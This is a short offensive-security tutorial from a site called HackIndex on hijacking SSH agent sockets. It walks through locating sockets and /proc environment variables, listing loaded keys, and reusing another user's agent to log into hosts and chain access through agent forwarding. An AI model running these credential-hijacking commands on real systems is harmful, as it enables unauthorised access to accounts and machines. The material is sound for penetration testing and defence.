Skip to content
HackIndex logo

HackIndex

SSH Agent Hijacking for Lateral Movement

3 min read Mar 16, 2026

SSH agent hijacking lets you authenticate to remote hosts using another user's loaded SSH keys — without ever seeing the private key itself. The agent holds decrypted keys in memory and handles authentication on request. If you can access a user's agent socket, you can authenticate as them to any host their keys are authorized for.

This works best when you have escalated to root or can access another user's processes. The agent socket belongs to the user who started it, but root can access any socket on the system.

Finding Active Agent Sockets

Agent sockets are typically created in /tmp with a path like /tmp/ssh-XXXXXX/agent.PID.

user@host ~ $ find /tmp -name "agent.*" -type s 2>/dev/null
user@host ~ $ find /tmp /run -name "agent.*" 2>/dev/null
user@host ~ $ ls /tmp/ssh-*/

As root, you can see all sockets. As a regular user you only see your own unless permissions are misconfigured.

Also check running processes for the SSH_AUTH_SOCK variable — any process started in an SSH session with agent forwarding inherits it:

user@host ~ $ ps auxe | grep SSH_AUTH_SOCK

Or iterate /proc directly:

user@host ~ $ grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | head -5
/proc/1842/environ:...SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841...

Identifying Keys Loaded in the Agent

Before hijacking, check what keys the agent holds:

user@host ~ $ SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841 ssh-add -l
2048 SHA256:abc123... /home/admin/.ssh/id_rsa (RSA)
4096 SHA256:def456... /root/.ssh/deploy_key (RSA)

Each listed key can be used to authenticate to hosts where that key is authorized.

Hijacking the Socket

Set SSH_AUTH_SOCK to the target socket and connect:

user@host ~ $ export SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841
user@host ~ $ ssh $USER@$TARGET_IP

The SSH client will use the hijacked agent for authentication. No password, no key file needed.

To run a single command without a full session:

user@host ~ $ SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841 ssh $USER@$TARGET_IP "id"

Agent Forwarding — Chained Access

If the compromised session has agent forwarding enabled (-A or ForwardAgent yes in config), the agent socket is forwarded to the remote host as well. This means from the compromised host you can chain further:

user@host ~ $ SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841 ssh -A $USER@$TARGET_IP

Once connected to $TARGET_IP, the forwarded agent is available there too — check $SSH_AUTH_SOCK on the new host and continue the chain.

Agent forwarding is a significant risk from a defender's perspective and is why security guidance recommends against enabling it on untrusted hosts.

Socket Permission Requirements

The agent socket is owned by the user who created it with mode 600 by default. Without root, you cannot access another user's socket unless permissions are misconfigured.

Check socket permissions:

user@host ~ $ ls -la /tmp/ssh-XYZ123/agent.1841

If it is readable by your group or world-readable, you can hijack it without root.

References